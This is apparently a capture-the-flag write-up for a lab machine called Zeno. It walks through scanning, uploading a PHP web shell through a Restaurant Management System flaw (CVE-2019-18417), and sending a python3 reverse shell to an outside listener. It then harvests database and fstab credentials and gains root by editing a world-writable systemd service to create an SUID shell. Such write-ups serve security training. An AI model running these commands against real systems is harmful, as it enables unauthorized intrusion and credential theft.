Recon to foothold

We begin with masscan to identify all open ports

rob:~/ $ sudo masscan -p1-65535,U:1-65535 10.10.8.217 --rate=1000 -e tun0
[sudo] password for rob: 
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-10-27 14:49:40 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 12340/tcp on 10.10.8.217                                  
Discovered open port 22/tcp on 10.10.8.217 

And now nmap to identify the services on each open port

rob:~/ $ nmap -A -T4 -v -p22,12340 -Pn 10.10.8.217
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-27 15:53 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:53
Completed Parallel DNS resolution of 1 host. at 15:53, 0.01s elapsed
Initiating Connect Scan at 15:53
Scanning 10.10.8.217 [2 ports]
Discovered open port 22/tcp on 10.10.8.217
Discovered open port 12340/tcp on 10.10.8.217
Completed Connect Scan at 15:53, 0.01s elapsed (2 total ports)
Initiating Service scan at 15:53
Scanning 2 services on 10.10.8.217
Completed Service scan at 15:53, 11.18s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.8.217.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.67s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.05s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Nmap scan report for 10.10.8.217
Host is up (0.013s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 09:23:62:a2:18:62:83:69:04:40:62:32:97:ff:3c:cd (RSA)
|   256 33:66:35:36:b0:68:06:32:c1:8a:f6:01:bc:43:38:ce (ECDSA)
|_  256 14:98:e3:84:70:55:e6:60:0c:c2:09:77:f8:b7:a6:1c (ED25519)
12340/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods: 
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: We've got some trouble | 404 - Resource not found

NSE: Script Post-scanning.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.44 seconds

Ok, so we have SSH on port 22, and a web server on port 12340. Let’s enumerate the web server and see what we have

So we get a customized 404 not found page, a quick inspection of this reveals nothing of interests so we can move on. Let’s try some directory busting to see if the web server has any other content on it which we might be able to reach

rob:~/ $ gobuster dir --url http://10.10.8.217:12340 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.8.217:12340
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/10/27 16:08:53 Starting gobuster in directory enumeration mode
===============================================================
/rms                  (Status: 301) [Size: 237] [--> http://10.10.8.217:12340/rms/]
                                                                                   
===============================================================
2021/10/27 16:10:04 Finished
===============================================================

Excellent, we find a /rms directory which gives us a hotel restaurant booking system

Let’s try registering

We successfully register and now we can log into the site as a regular unprivileged user

Some googling finds us a possible CVE for this software, CVE-2019-18417

Sourcecodester Restaurant Management System 1.0 allows an authenticated attacker to upload arbitrary files that can result in code execution. The issue occurs because the application fails to adequately sanitize user-supplied input, e.g., “add a new food” allows .php file

Following the reference links from MITRE we arrive here

Ok, that’s definitely the software we’re dealing with, let’s try to exploit it. Unfortunately however this exploit turns out to require access to a module we seem not to have, the ability to add new foods

A search on exploit-db however find us another potential exploit

Let’s give it a try, it appears to be utilising an upload form somewhere…

rob:Zeno/ $ python rms-rce.py http://10.10.8.217:12340/rms
  File "rms-rce.py", line 40
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)

Well that’s not good! On a quick look though it turns out just to be some unwanted line breaks inserted through the code (probably when the script was imported to exploit-db). A quick fix later and we can try again

rob:Zeno/ $ python rms-rce.py http://10.10.8.217:12340/rms

    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|



Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL : http://10.10.8.217:12340/rmsimages/reverse-shell.php

Ok, that seems successful, let’s check out the given link. Reviewing the code shows the uploaded payload, a familiar php command executor

<?php echo shell_exec($_GET["cmd"]); ?>

Requesting the link then gives us this response

Dangit, let’s see if the exploit requires any more adjustments to fit our purposes … nope, it turns out we simply didn’t terminate the supplied URL with a /!

rob:Zeno/ $ python rms-rce.py http://10.10.8.217:12340/rms/

    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|



Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL : http://10.10.8.217:12340/rms/images/reverse-shell.php

Now when we request the page with a cmd parameter we get the wished for response

We do a quick check to make sure that python3 is available (cmd=which python3) and then we send a reverse shell command

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.6.26",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

At our waiting listener we pop a shell! We’re in

rob:Zeno/ $ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.8.217] 57644
bash-4.2$ 

User apache to user edward

We can do a quick search for files belonging to edward, hoping to find something out of place

find / -user edward 2>/dev/null
/var/spool/mail/zeno
/var/spool/mail/edward
/home/edward/.ssh/authorized_keys
/mnt/secret-share

Unfortunately none of these contain anything we can make use of, the ‘secret share’ in particular is a disappointment, being totally empty!

Enumerating the web site we find a config file

bash-4.2$ cat /var/www/html/rms/connection/config.php
<?php
    define('DB_HOST', 'localhost');
    define('DB_USER', 'root');
    define('DB_PASSWORD', 'veerUffIrangUfcubyig');
    define('DB_DATABASE', 'dbrms');
    define('APP_NAME', 'Pathfinder Hotel');
    error_reporting(1);
?>

We can have a look in the mysql database with these creds and see if there are any interesting user details available

bash-4.2$ mysql -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 70
Server version: 5.5.68-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dbrms              |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)

MariaDB [(none)]> 

We can see that only the root user is defined, and we already have that password

MariaDB [(none)]> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> select host,user,password from user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *0D98E25BF3667656CFAFD800B212D3A84EEF5B1F |
| 127.0.0.1 | root | *0D98E25BF3667656CFAFD800B212D3A84EEF5B1F |
| ::1       | root | *0D98E25BF3667656CFAFD800B212D3A84EEF5B1F |
+-----------+------+-------------------------------------------+
3 rows in set (0.00 sec)

From the dbrms database we can find some user details

MariaDB [dbrms]> select login,passwd from members;
+--------------------------+----------------------------------+
| login                    | passwd                           |
+--------------------------+----------------------------------+
| omolewastephen@gmail.com | 81dc9bdb52d04dc20036dbd8313ed055 |
| jsmith@sample.com        | 1254737c076cf867dc53d60a0364f38e |
| edward@zeno.com          | 6f72ea079fd65aff33a67a3f3618b89c |
| allfun@me.com            | 5f4dcc3b5aa765d61d8327deb882cf99 |
+--------------------------+----------------------------------+
4 rows in set (0.00 sec)

Two of the ‘passwords’ (in reality just md5 hashes) are quickly cracked

rob:Zeno/ $ sth -t 81dc9bdb52d04dc20036dbd8313ed055 --no-banner
objs is [<name_that_hash.HashTypeObj.HashType object at 0x7f6188984f40>]


81dc9bdb52d04dc20036dbd8313ed055

Text : 1234
Type : MD5
rob:Zeno/ $ sth -t 1254737c076cf867dc53d60a0364f38e --no-banner
objs is [<name_that_hash.HashTypeObj.HashType object at 0x7fc98d76b1c0>]


1254737c076cf867dc53d60a0364f38e

Text : jsmith123
Type : MD5

But of course the one we want, edward, does not crack from the usual wordlists

In the /etc/fstab file we find creds being supplied to permit the mounting of a share, zeno:FrobjoodAdkoonceanJa

We can try this for password reuse on the edward user

bash-4.2$ su - edward
Password: 
Last login: Tue Sep 21 22:37:30 CEST 2021 on pts/0
Last failed login: Wed Oct 27 19:15:21 CEST 2021 on pts/1
There were 2 failed login attempts since the last successful login.
[edward@zeno ~]$ 

Excellent, we have user edward! We can quickly grab the flag

[edward@zeno ~]$ cat user.txt 
THM{REDACTED}

User edward privesc to root

Let’s check the user’s sudo permissions if any

[edward@zeno ~]$ sudo -l
Matching Defaults entries for edward on zeno:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
    LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User edward may run the following commands on zeno:
    (ALL) NOPASSWD: /usr/sbin/reboot

Ok, that’s interesting, this user has permission to reboot the box. While enumerating earlier we found an interesting service

/etc/systemd/system/zeno-monitoring.service

And a quick check shows us that the service definition file is world-writeable

bash-4.2$ ls -lA /etc/systemd/system/zeno-monitoring.service
-rw-rw-rw-. 1 root root 141 Sep 21 22:24 /etc/systemd/system/zeno-monitoring.service
bash-4.2$ cat zeno-monitoring.service 
[Unit]
Description=Zeno monitoring

[Service]
Type=simple
User=root
ExecStart=/root/zeno-monitoring.py

[Install]
WantedBy=multi-user.target

A reboot would result in this service being started up, if we change this file then presumably we may be able to get a root shell… let’s give it a go

[edward@zeno ~]$ vi /etc/systemd/system/zeno-monitoring.service
[edward@zeno system]$ grep ExecStart zeno-monitoring.service
ExecStart=/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.6.26",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

We use our ol' reliable python3 reverse shell script, we know it worked for our initial access so why change now. Finally now we start up a listener and then use our sudo permissions to reboot the box

[edward@zeno system]$ sudo /usr/sbin/reboot

Session terminated, killing shell... ...killed.
bash-4.2$  % 
rob:Zeno/ $ 

It takes a good while, over a minute, to finally kick us out of our shell, and then it’s a patient waiting game… which fails…

rob:Zeno/ $ nc -lvnp 4321
listening on [any] 4321 ...


We try it again with a bash reverse shell but once more have no success. It seems odd that we don’t get any contact at all from the reverse shell, even a connection that fails immediately would make some sense

Perhaps we can make an SUID shell, that might work

[edward@zeno ~]$ grep ExecStart /etc/systemd/system/zeno-monitoring.service 
ExecStart=/bin/bash -c 'cp -p /bin/bash /home/edward/rootshell; chmod +s /home/edward/rootshell'

So now we reboot again and, once the box is accesible once more, we check for our root shell

[edward@zeno ~]$ ls -lA rootshell 
-rwsr-sr-x. 1 root root 964536 Apr  1  2020 rootshell

Excellent, we got it!

We can become root now and grab the root flag

[edward@zeno ~]$ ./rootshell -p 
rootshell-4.2# cat /root/root.txt 
THM{REDACTED}